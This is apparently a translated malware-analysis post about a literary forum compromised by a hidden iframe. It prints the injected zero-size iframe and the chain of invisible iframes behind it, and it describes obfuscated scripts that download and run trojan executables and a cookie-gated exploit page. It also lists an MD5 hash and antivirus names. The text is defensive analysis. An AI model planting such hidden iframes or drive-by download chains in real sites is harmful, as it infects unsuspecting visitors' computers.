A literary forum is infected with worm. win32.agent. IPI/Trojan. win32.agent. AVT

A literary forum is infected with worm. win32.agent. IPI/Trojan. win32.agent. AVT

Original endurer
Version 1st

Google once found that Google has marked that the website may contain malware, which may harm your computer.

Check the webpage code of the forum and add it:
/---
<IFRAME src = 'hxxp: // A ** aa.3 * 6 ** 96 ** 78.cn/xiaoyu.htm'width = 0 Height = 0>
---/

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/xiaoyu.htmContent:
/---
<IFRAME width = '000000' Height = '000000' src0000'webxl.htm '> </iframe>
<IFRAME width = '000000' Height = '000000' src = 'wm/wm1.htm'> </iframe>
<IFRAME width = '000000' Height = '000000' src = 'wm/wm2.htm'> </iframe>
<IFRAME width = '000000' Height = '000000' src = 'wm/vip.htm'> </iframe>
<IFRAME width = '000000' Height = '000000' src = 'wm/wm3.htm'> </iframe>
---/

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/webxl.htm cannot be enabled.

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/wm/vip.htm decrypts the value of the variable lovevip using a custom function. The value is VBScript code. The function is to download vip.exe and run it.

File Description: D:/test/vip.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time: 21:20:10
Access time:
Size: 19107 bytes, 18.675 KB
MD5: 8fe4a48341fb6fea12df42845db2d229

Kaspersky reportsTrojan. win32.agent. AVTThe rising report isWorm. win32.agent. IPI

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/wm/wm1.htmFailed to open.

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/wm/wm2.htmCode included:
/---
<SCRIPT src = 000614.js> </SCRIPT>
---/

000614. jsContent:
/---
Eval ("\ 146 \ 165 \ 156... (Omitted )... \ 73/175 ")
---/

After decryption, It is a Javascript script. The function downloads hxxp: // D *** dd.3 *** 6 *** 78.cn/##exe.

Window.exe is the same as vip.exe.

Hxxp: // A ** aa.3 ** 6 ** 96 ** 78.cn/wm/wm3.htmContains a Javascript script to check whether a cookie named woshi07004 exists. If it does not exist, create the cookie and run the overflow code.